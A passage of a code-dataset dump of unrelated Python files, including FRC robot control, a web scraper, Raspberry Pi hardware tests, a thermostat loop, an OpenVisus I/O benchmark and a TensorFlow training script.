False)\n\n def disabledPeriodic(self):\n self.putData()\n self.vision_filter.execute()\n self.range_filter.execute()\n\n def teleopPeriodic(self):\n '''Called on each iteration of the control loop'''\n self.putData()\n\n # enable the compressor only if the chassis is moving below the\n # threshold speed, and the winch is not running, in order to prevent\n # brownouts\n self.compressor.setClosedLoopControl(self.chassis.compressor_enabled\n and self.winch.compressor_enabled)\n\n # check for button inputs\n\n # force restart or start of the gear state machine\n with self.consumeExceptions():\n if self.gamepad_buttons[8].get() or self.joystick_buttons[1].get():\n self.manipulategear.engage(force=True)\n\n # force restart or start of the winch state machine\n with self.consumeExceptions():\n if self.gamepad_buttons[7].get() or self.joystick_buttons[3].get():\n self.winch_automation.engage(force=True)\n\n # tell pyntlogger that we want to start logging\n with self.consumeExceptions():\n if self.joystick_buttons[7].get():\n self.sd.putBoolean(\"log\", True)\n\n # reset the gear & winch state machines\n with self.consumeExceptions():\n if self.joystick_buttons[2].get():\n if self.manipulategear.is_executing:\n self.manipulategear.done()\n self.gear_aligner.reset_position()\n self.gear_depositor.retract_gear()\n self.gear_depositor.lock_gear()\n\n # force stop the winch state machine and winch motor\n with self.consumeExceptions():\n if self.joystick_buttons[4].get():\n if self.winch_automation.is_executing:\n self.winch_automation.done()\n self.winch.rotate(0)\n\n # force the winch motor to spin at max speed, and close the piston\n # that holds the rope in place\n with self.consumeExceptions():\n if self.joystick_buttons[5].get():\n if self.winch_automation.is_executing:\n self.winch_automation.done()\n self.winch.rotate(1.0)\n self.winch.close_piston()\n\n # toggle the position of the winch piston\n with self.consumeExceptions():\n if self.joystick_buttons[6].get():\n self.winch.locked = not self.winch.locked\n\n # retract and lock the gear bucket\n with self.consumeExceptions():\n if self.joystick_buttons[12].get():\n self.gear_depositor.retract_gear()\n self.gear_depositor.lock_gear()\n\n # push the gear bucket forward while shutting it\n with self.consumeExceptions():\n if self.joystick_buttons[10].get() or self.gamepad_buttons[1].get():\n self.manipulategear.engage(initial_state=\"forward_closed\", force=True)\n\n # Set direction and speed of control inputs from driver when specific\n # buttons are pressed\n if (not self.gamepad.getRawButton(5) and\n not self.gamepad.getRawButton(6) and\n not self.gamepad.getRawAxis(3) > 0.9):\n # normal operating mode\n self.throttle = 1\n self.direction = 1\n self.sd.putString(\"camera\", \"front\")\n elif self.gamepad.getRawButton(5):\n # reverse direction of translation\n self.throttle = 1\n self.direction = -1\n self.sd.putString(\"camera\", \"back\")\n elif self.gamepad.getRawButton(6):\n # slow down\n self.throttle = 0.5\n self.direction = 1\n self.sd.putString(\"camera\", \"back\")\n elif self.gamepad.getRawAxis(3) > 0.9:\n # slow down and reverse direction of translation\n self.throttle = 0.5\n self.direction = -1\n self.sd.putString(\"camera\", \"back\")\n\n # POV buttons on joystick move gear rail left and right for alignment\n # with chute\n if self.joystick.getPOV() == 90:\n if not self.manipulategear.is_executing:\n self.gear_aligner.move_right()\n elif self.joystick.getPOV() == 270:\n if not self.manipulategear.is_executing:\n self.gear_aligner.move_left()\n\n if 1.5 < abs(self.chassis.get_velocity()) and not self.manipulategear.is_executing:\n self.gear_aligner.set_position(0)\n\n # set control inputs to chassis after rescaling\n linear_input = (\n self.direction * -rescale_js(\n self.gamepad.getRawAxis(1), deadzone=0.05, exponential=30))\n # rotational speed. compensate for reduced throttle by increasing\n # rate, so that when linear speed is reduced, rotational input stays\n # the same for the drivers\n angular_input = -rescale_js(\n self.gamepad.getRawAxis(4), deadzone=0.05, exponential=30,\n rate=0.3 if self.throttle == 1 else 1/self.throttle)\n # y axis (left right) input is 0, as a tank drive can not translate\n # sideways\n self.chassis.inputs = [linear_input, 0, angular_input, self.throttle]\n\n # allow co-driver to manually turn on the vision LEDs\n self.vision.led_on = self.joystick.getRawButton(11)\n\n\n# utility function to rescale joystick inputs and make them exponential rather\n# than linear\ndef rescale_js(value, deadzone=0.0, exponential=0.0, rate=1.0):\n value_negative = 1.0\n if value < 0:\n value_negative = -1.0\n value = -value\n # Cap to be +/-1\n if abs(value) > 1.0:\n value /= abs(value)\n # Apply deadzone\n if abs(value) < deadzone:\n return 0.0\n elif exponential == 0.0:\n value = (value - deadzone) / (1 - deadzone)\n else:\n a = math.log(exponential + 1) / (1 - deadzone)\n value = (math.exp(a * (value - deadzone)) - 1) / exponential\n return value * value_negative * rate\n\n\nif __name__ == '__main__':\n wpilib.run(Robot)\n","sub_path":"robot.py","file_name":"robot.py","file_ext":"py","file_size_in_byte":12396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"223608177","text":"import random as r\ncnt1=1000000\ncnt2 = 0\n\nfor i in range(cnt1):\n x=r.random()\n y=r.random()\n if (x**2+y**2)<1 :\n cnt2+=1\nprint(4.0*cnt2/cnt1)\n\n\n\n","sub_path":"homework.py","file_name":"homework.py","file_ext":"py","file_size_in_byte":161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"124032905","text":"# -*- coding: utf-8 -*-\n\"\"\"\nBenenMatch_NL spider created on the top of ATSSpider\n\nscrapy crawl benenmatch_nl -a mining_job_id=9999 -a iteration=1 -a extract=1 -a url=\"http://www.banenmatch.nl/job_search/\"\n\nSeed URL:\n http://www.banenmatch.nl/job_search/\n\"\"\"\n\nfrom re import compile\nfrom scrapy.http import Request\nfrom scrapy.selector import Selector\nfrom urlparse import urljoin\n\nfrom brightcorp.base.atsspiders import ATSSpider\nfrom brightcorp.items import BrightcorpItemLoader\nfrom brightcorp.processors import ConvertDateString, Prefix, Replace\n\npattern = {\n 'date': compile(r'(\\d{1,2}-\\d{1,2}-\\d{4})'),\n 'ref_number': compile(r'vacature-(\\d+)'),\n}\n\n\nclass BenenMatch_NL(ATSSpider):\n\n name = 'benenmatch_nl'\n\n def parse(self, response):\n \"\"\"\n Parse each job urls via GET method\n \"\"\"\n sel = Selector(response)\n if not self.expected_job_count_set:\n expected_count = sel.xpath(\n '//div[@id=\"searchresult\"]/h2/text()'\n ).extract()\n if expected_count:\n self.expected_job_count = expected_count[0]\n\n for h2 in sel.xpath(\n '//div/div[@id=\"searchresult\"]/h2[@class=\"jobtitle\"]'\n ):\n href = h2.xpath('./a/@href').extract()\n if href:\n yield Request(\n callback=self.parse_job_callback(),\n meta={\n 'company': h2.xpath(\n './following-sibling::div[@class=\"region-search\" and position() = 1]/text()'\n ).extract(),\n 'raw_data': h2.xpath(\n './following-sibling::text()[1]'\n ).extract(),\n },\n url=urljoin(response.url, '/%s' % href[0])\n )\n # pagination\n next_page = sel.xpath(\n '//div[@class=\"pagination\"]/a[contains(text(), \"Volgende\")]/@href'\n ).extract()\n if next_page:\n yield Request(\n callback=self.parse,\n url=urljoin(response.url, '/%s' % next_page[0])\n )\n\n def parse_job(self, response):\n \"\"\"\n Parse all required information\n \"\"\"\n sel = Selector(response)\n\n loader = BrightcorpItemLoader(selector=sel)\n raw_data = response.meta.get('raw_data')\n if raw_data:\n raw_data = raw_data[0].split('|')\n for index, item in enumerate(raw_data):\n if 'Dienstverband:' in item:\n loader.add_value(\n 'jobtype', item, Replace('Dienstverband:')\n )\n elif 'Ervaring:' in item:\n loader.add_value(\n 'experiencerequirements', item, Replace('Ervaring:')\n )\n elif 'Opleiding:' in item:\n loader.add_value(\n 'qualifications', item, Replace('Opleiding:')\n )\n elif index == 1:\n loader.add_value(\n 'jobcategory', item\n )\n loader.add_xpath(\n 'title',\n '//div[@class=\"job-right\"]/div[@id=\"print\"]/h1/text()'\n )\n loader.add_value(\n 'referencenumber',\n response.url,\n Prefix('%s-' % self.name),\n re=pattern['ref_number']\n )\n loader.add_value('url', response.url)\n loader.add_value(\n 'company',\n response.meta.get('company')\n )\n loader.add_xpath(\n 'date',\n '//div[@class=\"main\"]/div[@class=\"job-left\"]/div[@class=\"job-left-content\"]/text()[3]',\n ConvertDateString('%d-%m-%Y'),\n re=pattern['date']\n )\n loader.add_xpath(\n 'location',\n '//div[@class=\"job-right\"]/div/table/tr/td/strong[contains(text(), \"Locatie\")]/../following-sibling::td[1]/text()'\n )\n loader.add_xpath(\n 'description',\n '//div/div[@id=\"job-description\"]'\n )\n loader.add_value('apply_url', response.url)\n\n yield loader.load_item()\n","sub_path":"brightcorp/brightcorp/spiders/benenmatch_nl.py","file_name":"benenmatch_nl.py","file_ext":"py","file_size_in_byte":4218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"652292805","text":"import RPi.GPIO as GPIO\nimport time\nimport Adafruit_ADS1x15\nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BOARD)\nELECTRO_MAG_PIN = 23\nGPIO.setup(ELECTRO_MAG_PIN, GPIO.OUT)\n\nPOWER_CONTROL = 19 # should be 21 but didn't include level conversion for p chan\nGPIO.setup(POWER_CONTROL, GPIO.OUT)\nGPIO.output(POWER_CONTROL, True) # turn on power for hall sensor\nGPIO.output(ELECTRO_MAG_PIN, False) # turn off power for magnet\n\nnum_avg_tests = 10\nadc = Adafruit_ADS1x15.ADS1015()\nADC = { '3_3' : 1, 'side': 0, 'hall': 2 }\ndef sample_hall(tests=num_avg_tests):\n sum_hall = 0\n for i in range(tests):\n sum_hall += adc.read_adc(ADC['hall'], gain=1) * 4\n hall = sum_hall / tests\n return hall\n\nelectro_off_hall = sample_hall(50)\nprint(\"hall is %d mv with no magnet\" % electro_off_hall)\nwhile True:\n\n print(True)\n GPIO.output(ELECTRO_MAG_PIN, True)\n time.sleep(0.1)\n electro_on_hall = sample_hall(50)\n print(electro_off_hall - electro_on_hall)\n if electro_off_hall - electro_on_hall > 40:\n print(\"PASS\")\n else:\n print(\"FAIL\")\n time.sleep(0.9)\n\n print(False)\n GPIO.output(ELECTRO_MAG_PIN, False)\n time.sleep(1.0)\n","sub_path":"electromag-test/electro.py","file_name":"electro.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"540612652","text":"#!/usr/bin/env python3\n\nfrom typing import List, Set, Dict, Tuple, Optional\nfrom datetime import datetime\n\nimport json\nimport time\nimport requests\nimport sqlite3\n\nimport settings\nimport database\nfrom temperature import readTemp\n\nconn = sqlite3.connect(settings.database)\n\ndef turnFurnaceOn() -> None:\n try:\n r = requests.post(f'http://{settings.webserver}/furnace/on')\n print(r.text)\n except:\n pass\n\n\ndef turnFurnaceOff() -> None:\n try:\n r = requests.post(f'http://{settings.webserver}/furnace/off')\n print(r.text)\n except:\n pass\n\n\ndef getDesiredTemp() -> Optional[float]:\n try:\n r = requests.get(f'http://{settings.webserver}/temperature/desired')\n try:\n res = json.loads(r.text)\n return float(res['temperature'])\n except:\n print(f\"error: {r.text} can not be parsed\")\n except:\n return None\n\n\ndef setDesiredTemp(temp) -> None:\n try:\n r = requests.post(f'http://{settings.webserver}/temperature/setdesired/{temp}')\n except:\n pass\n\n\ndef checkSchedules(c: sqlite3.Cursor) -> None:\n schedules = database.getSchedules(c)\n if schedules is None: return\n\n now = datetime.now()\n nows = now.hour*3600 + now.minute*60 + now.second\n\n # weekday(): monday = 0, sunday = 6\n # dow: monday = 6, sunday = 0\n dow = 6 - now.today().weekday()\n\n # mask: monday = 0b1000000\n # sunday = 0b0000001\n mask = 1 << dow\n\n for start, end, temp, days in schedules:\n #{\n print(\"checking schedule: \", start, end, temp, bin(days), bin(mask))\n if mask & days == mask and nows > start and nows < end:\n print(\"settings temp: \", temp)\n setDesiredTemp(temp)\n return\n #}\n\n print(\"no active schedules\")\n setDesiredTemp(settings.minimumSafeTemperature)\n\n\ndef main():\n c = conn.cursor()\n database.init(c)\n conn.commit()\n\n while True:\n #{\n checkSchedules(c)\n desiredTemp = getDesiredTemp()\n\n currTemp = readTemp()\n database.saveTemperature(c, currTemp)\n conn.commit()\n print(currTemp)\n\n # if there is a response from the web server\n if desiredTemp is not None:\n #{\n\n if currTemp < desiredTemp:\n turnFurnaceOn()\n\n elif currTemp + settings.buff > desiredTemp:\n turnFurnaceOff()\n\n #}\n\n # sleep before the next loop\n time.sleep(settings.sleepIntervalSec)\n #}\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"thermostat.py","file_name":"thermostat.py","file_ext":"py","file_size_in_byte":2558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"139950290","text":"#! /usr/bin/python\r\n\r\nimport json\r\n\r\n# for leaves, value is the secret coeff\r\nclass Node:\r\n def __init__(self, id, left, right, value):\r\n self.id = id\r\n self.left = left\r\n self.right = right\r\n self.value = value\r\n \"\"\"\r\n def __str__(self):\r\n choices = \"coeff=\" + str(self.coeff) + \"; \\t l_j=[\" + str(self.j0) + \",\" + str(self.j1) + \",\" + str(\r\n self.j2) + \",\" + str(self.j3) + \"]\" if self.left else \"S_j=[\" + str(self.j0) + \",\" + str(\r\n self.j1) + \",\" + str(self.j2) + \",\" + str(self.j3) + \"]\"\r\n children = \"(\" + (str(self.left.id) if self.left else \"x\") + \",\" + (\r\n str(self.right.id) if self.right else \"x\") + \"), \\t\" if self.left else \" =>\\t\"\r\n return (str(self.id) + \": \\t\" + children + choices)\r\n \"\"\"\r\n\r\ndef Atojson(node):\r\n return ([node.id, node.left.id, node.right.id, node.value] if node.left else [\r\n node.id, None, None, node.value])\r\n\r\n\r\nlength = 0\r\ntreearray = []\r\nidcount = 0\r\n\r\ndef newnode(left, right, value):\r\n global length\r\n length = length + 1\r\n node = Node(length, left, right, value)\r\n return (node)\r\n\r\ndef newnodefromarray(node):\r\n result = newnode(None, None, node[3])\r\n return (result)\r\n\r\ndef reconstruct(nodes):\r\n global length\r\n length = 0\r\n nodearray = []\r\n for i in range(len(nodes)):\r\n nodearray.append(newnodefromarray(nodes[i]))\r\n for i in range(len(nodes)):\r\n nodearray[i].left = nodearray[nodes[i][1] - 1] if nodes[i][1] else None\r\n nodearray[i].right = nodearray[nodes[i][2] - 1] if nodes[i][2] else None\r\n return (nodearray[len(nodes) - 1])\r\n\r\ndef treetoarray(node):\r\n global treearray\r\n if (node.left == None):\r\n treearray.append(Atojson(node))\r\n else:\r\n treetoarray(node.left)\r\n treetoarray(node.right)\r\n treearray.append(Atojson(node))\r\n\r\ndef writejson(obj, filename):\r\n global treearray\r\n global idcount\r\n idcount = 1\r\n addid(obj)\r\n treearray = []\r\n treetoarray(obj)\r\n with open(filename, \"w\") as output:\r\n json.dump(treearray, output)\r\n\r\ndef readjson(filename):\r\n with open(filename, \"rb\") as input:\r\n return (json.load(input))\r\n\r\ndef printnodes(node):\r\n if (node.left == None):\r\n print(node)\r\n else:\r\n printnodes(node.left)\r\n printnodes(node.right)\r\n print(node)\r\n\r\ndef addid(node):\r\n global idcount\r\n if(node.left==None):\r\n node.id=idcount\r\n idcount=idcount+1\r\n else:\r\n addid(node.left)\r\n addid(node.right)\r\n node.id=idcount\r\n idcount=idcount+1","sub_path":"Frodo/BinaryTree1D.py","file_name":"BinaryTree1D.py","file_ext":"py","file_size_in_byte":2608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"434937879","text":"import requests\r\nres = requests.get(\"http://google.com\")\r\nres.raise_for_status()\r\n#print(\"웹 스크래핑을 시진행합니다.\") # 만약 res의 주소값이 문제가 생겼을 경우 바로 오류를 일으켜 중단시킨다.\r\n\r\n#print(\"응답 코드 : \",res.status_code) # 200이면 정상\r\n\r\n# if res.status_code == requests.codes.ok:\r\n# print(\"정상입니다.\")\r\n# else:\r\n# print(\"문제가 생겼습니다. [에러코드 \",res.status_code,\"]\")\r\n\r\n\r\nprint(len(res.text))\r\nprint(res.text)\r\n\r\nwith open(\"myopen.html\", \"w\",encoding=\"utf8\") as f:\r\n f.write(res.text)","sub_path":"webscreaping_basic/3_requests.py","file_name":"3_requests.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"594382818","text":"\r\n# this example test the speed of IDX \r\nimport os,sys,math, numpy as np\r\nimport shutil\r\nfrom OpenVisus import *\r\n\r\nKB,MB,GB=1024,1024*1024,1024*1024*1024\r\n\r\n# ////////////////////////////////////////////////////////////////\r\ndef GenerateRandomData(dims, dtype):\r\n\t\"\"\"\r\n\thalf data will be zero, half will be random\r\n\tin case you want to test with compression having a 50% compression ratio\r\n\t\"\"\"\r\n\t\r\n\tW,H,D=dims\r\n\tret=np.zeros((D, H, W),dtype=convert_dtype(dtype.get(0).toString()))\r\n\t\r\n\tif ret.dtype==numpy.float32 or ret.dtype==numpy.float64:\r\n\t\tret[0:int(D/2),:,]=np.random.rand(int(D/2), H, W,dtype=ret.dtype)\r\n\t\t\t\r\n\telif ret.dtype==numpy.uint16 :\r\n\t\tret[0:int(D/2),:,]=np.random.randint(0, 65535, (int(D/2), H, W),dtype=ret.dtype)\r\n\t\t\t\r\n\telif ret.dtype==numpy.uint8 :\r\n\t\tret[0:int(D/2),:,]=np.random.randint(0, 255 , (int(D/2), H, W),dtype=ret.dtype)\r\n\t\t\t\r\n\telse:\r\n\t\traise Exception(\"internal error\")\r\n\t\t\r\n\treturn ret\t\r\n\r\n# /////////////////////////////////////////////////////\r\ndef ReadFileSequentially(filename):\r\n\tfile=File()\r\n\tAssert(file.open(filename, \"r\"))\r\n\tcursor=0\r\n\tarray=Array(1* GB, DType.fromString(\"uint8\")) \r\n\ttry:\r\n\t\twhile True:\r\n\t\t\tif not file.read(cursor,array.c_size(),array.c_ptr()):\r\n\t\t\t\tcursor=0\r\n\t\t\telse:\r\n\t\t\t\tcursor+=array.c_size()\r\n\t\t\t\tyield array.c_size()\r\n\texcept GeneratorExit:\r\n\t\tpass\r\n\tfile.close()\r\n\tdel file\r\n\r\n# /////////////////////////////////////////////////////\r\ndef ReadFullResBlocks(filename, blocksize=0):\r\n\tfile=File()\r\n\tAssert(file.open(filename, \"r\"))\r\n\ttotsize=os.path.getsize(filename)\r\n\tnblocks=totsize/blocksize\r\n\ttry:\r\n\t\twhile True:\r\n\t\t\tarray=Array(blocksize, DType.fromString(\"uint8\"))\r\n\t\t\tblockid=np.random.randint(0,nblocks)\r\n\t\t\tfile.read(blockid * blocksize,array.c_size(),array.c_ptr())\r\n\t\t\tyield array.c_size()\r\n\texcept GeneratorExit:\r\n\t\tpass\r\n\tfile.close()\r\n\tdel file\r\n\r\n# ////////////////////////////////////////////////////////////////\r\ndef CreateIdxDataset(filename, DIMS=None, dtype=None, blocksize=0, default_layout=\"rowmajor\",default_compression=\"\"):\r\n\r\n\tprint(\"Creating idx dataset\", filename,\"...\")\r\n\r\n\tdtype=DType.fromString(dtype)\r\n\tbitsperblock=int(math.log(int(blocksize/dtype.getByteSize()),2))\r\n\tAssert(int(pow(2,bitsperblock)*dtype.getByteSize())==blocksize)\r\n\r\n\tfield=Field(\"data\")\r\n\tfield.dtype=dtype\r\n\tfield.default_layout=default_layout\r\n\tfield.default_compression=default_compression\r\n\t\r\n\tCreateIdx(url=filename, rmtree=True, \r\n\t\tdims=DIMS,\r\n\t\tfields=[field], \r\n\t\tbitsperblock=bitsperblock, \r\n\t\tblocksperfile=-1, # one file\r\n\t\tfilename_template=\"./\" + os.path.basename(filename)+\".bin\")\r\n\r\n\t# fill with fake data\r\n\tdb=LoadDataset(filename)\r\n\t\r\n\taccess = IdxDiskAccess.create(db)\r\n\taccess.disableAsync()\r\n\taccess.disableWriteLock()\r\n\t\r\n\taccess.beginWrite()\r\n\tfor blockid in range(db.getTotalNumberOfBlocks()):\r\n\t\twrite_block = db.createBlockQuery(blockid, ord('w'), Aborted())\r\n\t\tnsamples=write_block.getNumberOfSamples().toVector()\r\n\t\tbuffer=GenerateRandomData(nsamples,dtype)\r\n\t\twrite_block.buffer=Array.fromNumPy(buffer, bShareMem=True)\r\n\t\tdb.executeBlockQueryAndWait(access, write_block)\r\n\t\tAssert(write_block.ok())\r\n\taccess.endWrite()\t\r\n\t\r\n\tdel access\r\n\tdel db\r\n\r\n# ////////////////////////////////////////////////////////////////\r\ndef ReadIdxBlockQuery(filename):\r\n\tdb=LoadDataset(filename)\r\n\taccess = IdxDiskAccess.create(db)\r\n\taccess.disableAsync()\r\n\taccess.beginRead()\r\n\tnblocks=db.getTotalNumberOfBlocks()\r\n\ttry:\r\n\t\twhile True:\r\n\t\t\tblockid=np.random.randint(0,nblocks)\r\n\t\t\tquery = db.createBlockQuery(blockid)\r\n\t\t\tdb.executeBlockQuery(access, query)\r\n\t\t\tAssert(query.ok())\r\n\t\t\tyield query.buffer.c_size()\r\n\texcept GeneratorExit:\r\n\t\tpass\r\n\taccess.endRead()\r\n\tdel access\r\n\r\n# ////////////////////////////////////////////////////////////////\r\ndef ReadIdxBoxQuery(filename, dims):\r\n\tdb=LoadDataset(filename)\r\n\tDIMS=db.getLogicSize()\r\n\taccess = IdxDiskAccess.create(db)\r\n\taccess.disableAsync()\r\n\taccess.beginRead()\r\n\tsamplesize=db.getField().dtype.getByteSize()\r\n\ttry:\r\n\t\twhile True:\r\n\t\t\tx=np.random.randint(0,DIMS[0]/dims[0])*dims[0]\r\n\t\t\ty=np.random.randint(0,DIMS[1]/dims[1])*dims[1]\r\n\t\t\tz=np.random.randint(0,DIMS[2]/dims[2])*dims[2]\r\n\t\t\tBlockQuery.global_stats().resetStats()\r\n\t\t\tdata=db.read(logic_box=[(x,y,z),(x+dims[0],y+dims[1],z+dims[2])],access=access)\r\n\t\t\tAssert(data.nbytes==dims[0]*dims[1]*dims[2]*samplesize)\r\n\t\t\tN=BlockQuery.global_stats().getNumRead()\r\n\t\t\t# print(N)\r\n\t\t\tyield data.nbytes\r\n\texcept GeneratorExit:\r\n\t\tpass\r\n\taccess.endRead()\r\n\tdel access\r\n\r\n# ////////////////////////////////////////////////////////////////\r\ndef TimeIt(name, gen, max_seconds=60):\r\n\tuser=next(gen) # skip any headers (open/close file)\r\n\tUSER, DISK, NCALLS, T1=0,0,0,Time.now()\r\n\twhile T1.elapsedSec()0 and total_val>0):\r\n\r\n BATCH_SIZE = 100\r\n IMG_SHAPE = 224\r\n\r\n image_gen = tf.keras.preprocessing.image.ImageDataGenerator(rescale=1./255, horizontal_flip=True)\r\n\r\n train_data_gen = image_gen.flow_from_directory(batch_size=BATCH_SIZE,\r\n directory=train_dir,\r\n shuffle=True,\r\n target_size=(IMG_SHAPE,IMG_SHAPE))\r\n\r\n augmented_images = [train_data_gen[0][0][0] for i in range(5)]\r\n\r\n image_gen = tf.keras.preprocessing.image.ImageDataGenerator(rescale=1./255, rotation_range=45)\r\n\r\n train_data_gen = image_gen.flow_from_directory(batch_size=BATCH_SIZE,\r\n directory=train_dir,\r\n shuffle=True,\r\n target_size=(IMG_SHAPE, IMG_SHAPE))\r\n\r\n augmented_images = [train_data_gen[0][0][0] for i in range(5)]\r\n\r\n image_gen = tf.keras.preprocessing.image.ImageDataGenerator(rescale=1./255, zoom_range=0.5)\r\n\r\n train_data_gen = image_gen.flow_from_directory(batch_size=BATCH_SIZE,\r\n directory=train_dir,\r\n shuffle=True,\r\n target_size=(IMG_SHAPE, IMG_SHAPE))\r\n\r\n augmented_images = [train_data_gen[0][0][0] for i in range(5)]\r\n\r\n image_gen_train = tf.keras.preprocessing.image.ImageDataGenerator(\r\n rescale=1./255,\r\n rotation_range=40,\r\n width_shift_range=0.2,\r\n height_shift_range=0.2,\r\n shear_range=0.2,\r\n zoom_range=0.2,\r\n horizontal_flip=True,\r\n fill_mode='nearest')\r\n\r\n train_data_gen = image_gen_train.flow_from_directory(batch_size=BATCH_SIZE,\r\n directory=train_dir,\r\n shuffle=True,\r\n target_size=(IMG_SHAPE,IMG_SHAPE),\r\n class_mode='sparse')\r\n\r\n augmented_images = [train_data_gen[0][0][0] for i in range(5)]\r\n\r\n image_gen_val = tf.keras.preprocessing.image.ImageDataGenerator(rescale=1./255)\r\n\r\n val_data_gen = image_gen_val.flow_from_directory(batch_size=BATCH_SIZE,\r\n directory=validation_dir,\r\n target_size=(IMG_SHAPE, IMG_SHAPE),\r\n class_mode='binary') # class_mode='binary' if the model contains only two classes\r\n\r\n L = os.listdir('C:/MAMP/htdocs/enter_exit_saved_model' + db_num)\r\n if (len(L)>0):\r\n feature_extractor = tf.keras.experimental.load_from_saved_model('C:/MAMP/htdocs/enter_exit_saved_model' + db_num,\r\n custom_objects={'KerasLayer': hub.KerasLayer})\r\n\r\n feature_extractor.build((None, 224, 224, 3))\r\n\r\n model = tf.keras.models.Sequential()\r\n for layer in feature_extractor.layers[:-1]:\r\n model.add(layer)\r\n for layer in model.layers:\r\n layer.trainable = False\r\n model.add(tf.keras.layers.Dense(m, activation='softmax', name=\"output\"))\r\n\r\n else:\r\n URL = \"https://tfhub.dev/google/tf2-preview/mobilenet_v2/feature_vector/2\"\r\n feature_extractor = hub.KerasLayer(URL,\r\n input_shape=(224, 224, 3))\r\n\r\n feature_extractor.trainable = False\r\n\r\n model = tf.keras.Sequential([\r\n feature_extractor,\r\n tf.keras.layers.Dense(m, activation='softmax', name=\"output\")\r\n ])\r\n\r\n epochs = int(epoch)\r\n model.summary()\r\n\r\n model.compile(optimizer='adam',\r\n loss='sparse_categorical_crossentropy',\r\n metrics=['accuracy'])\r\n\r\n earlystop_callback = tf.keras.callbacks.EarlyStopping(\r\n monitor='val_accuracy', min_delta=0.0001,\r\n patience=2)\r\n\r\n history = model.fit_generator(\r\n train_data_gen,\r\n steps_per_epoch=int(np.ceil(total_train / float(BATCH_SIZE))),\r\n epochs=epochs,\r\n callbacks=[earlystop_callback],\r\n validation_data=val_data_gen,\r\n validation_steps=int(np.ceil(total_val / float(BATCH_SIZE)))\r\n )\r\n\r\n acc = history.history['acc']\r\n val_acc = history.history['val_acc']\r\n\r\n loss = history.history['loss']\r\n val_loss = history.history['val_loss']\r\n\r\n epochs_range = range(epochs)\r\n\r\n fig = plt.figure(figsize=(8, 8))\r\n plt.subplot(1, 2, 1)\r\n plt.plot(epochs_range, acc, label='Training Accuracy')\r\n plt.plot(epochs_range, val_acc, label='Validation Accuracy')\r\n plt.legend(loc='lower right')\r\n plt.title('Training and Validation Accuracy')\r\n\r\n plt.subplot(1, 2, 2)\r\n plt.plot(epochs_range, loss, label='Training Loss')\r\n plt.plot(epochs_range, val_loss, label='Validation Loss')\r\n plt.legend(loc='upper right')\r\n plt.title('Training and Validation Loss')\r\n # plt.show()\r\n\r\n fig.savefig('C:/MAMP/htdocs/my_plot2_' + db_num + '.png')\r\n mydir = \"C:/MAMP/htdocs/enter_exit_saved_model\" + db_num\r\n L = os.listdir(mydir)\r\n if (len(L)>0):\r\n for i in L:\r\n ch = mydir + '/' + i\r\n try:\r\n shutil.rmtree(ch)\r\n except:\r\n os.remove(ch)\r\n\r\n export_path = tf.keras.experimental.export_saved_model(model, r'C:\\MAMP\\htdocs\\enter_exit_saved_model' + db_num)\r\n\r\n label_names = sorted(train_data_gen.class_indices.items(), key=lambda pair:pair[1])\r\n label_names = np.array([key.title() for key, value in label_names])\r\n\r\n L = os.listdir(r\"C:\\MAMP\\htdocs\\enter_exit_validation\" + db_num)\r\n for ch in L:\r\n dir = \"C:/MAMP/htdocs/enter_exit_validation\" + db_num + \"/\" + ch\r\n L2 = os.listdir(dir)\r\n for ch2 in L2:\r\n dir2 = \"C:/MAMP/htdocs/enter_exit\" + db_num + \"/\" + ch + '/' + ch2\r\n pic = dir + '/' + ch2\r\n try:\r\n shutil.move(pic, dir2)\r\n except:\r\n os.mkdir(\"C:/MAMP/htdocs/enter_exit\" + db_num + \"/\" + ch)\r\n shutil.move(pic, dir2)\r\n\r\n L2 = os.listdir(r\"C:\\MAMP\\htdocs\\enter_exit_validation\" + db_num)\r\n if (len(L2) > 0):\r\n for i in L2:\r\n ch = 'C:/MAMP/htdocs/enter_exit_validation' + db_num + '/' + i\r\n try:\r\n shutil.rmtree(ch)\r\n except:\r\n os.remove(ch)\r\n","sub_path":"online_learning_enter_exit2.py","file_name":"online_learning_enter_exit2.py","file_ext":"py","file_size_in_byte":8832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"250906612","text":"import dataclasses\nfrom contextlib import suppress\nfrom inspect import cleandoc\nfrom typing import Any, Dict, Generic, Optional, Type, TypeVar\n\nimport django\nimport django.db.models\nimport strawberry\nfrom strawberry import UNSET\nfrom strawberry.annotation import StrawberryAnnotation\nfrom strawberry.exceptions import PrivateStrawberryFieldError\nfrom strawberry.field import UNRESOLVED\nfrom strawberry.private import is_private\n\nfrom . import utils\nfrom .fields.field import StrawberryDjangoField\nfrom .fields.types import (\n get_model_field,\n is_optional,\n resolve_model_field_name,\n resolve_model_field_type,\n)\nfrom .settings import strawberry_django_settings as django_settings\n\n\n_type = type\n\n\ndef get_type_attr(type_, field_name: str):\n attr = getattr(type_, field_name, UNSET)\n if attr is UNSET:\n attr = getattr(type_, \"__dataclass_fields__\", {}).get(field_name, UNSET)\n return attr\n\n\ndef get_field(\n django_type: \"StrawberryDjangoType\",\n field_name: str,\n field_annotation: Optional[StrawberryAnnotation] = None,\n):\n if field_annotation and is_private(field_annotation.annotation):\n raise PrivateStrawberryFieldError(field_name, django_type.origin)\n attr = get_type_attr(django_type.origin, field_name)\n\n if utils.is_field(attr):\n field = django_type.field_cls.from_field(attr, django_type)\n else:\n field = django_type.field_cls(\n default=attr,\n type_annotation=field_annotation,\n )\n\n field.python_name = field_name\n if field_name in django_type.origin.__dict__.get(\"__annotations__\", {}):\n # store origin django type for further usage\n field.origin_django_type = django_type\n\n if field_annotation:\n # annotation of field is used as a class type\n field.type_annotation = field_annotation\n field.is_auto = utils.is_auto(field_annotation)\n\n try:\n # resolve the django_name and check if it is relation field. 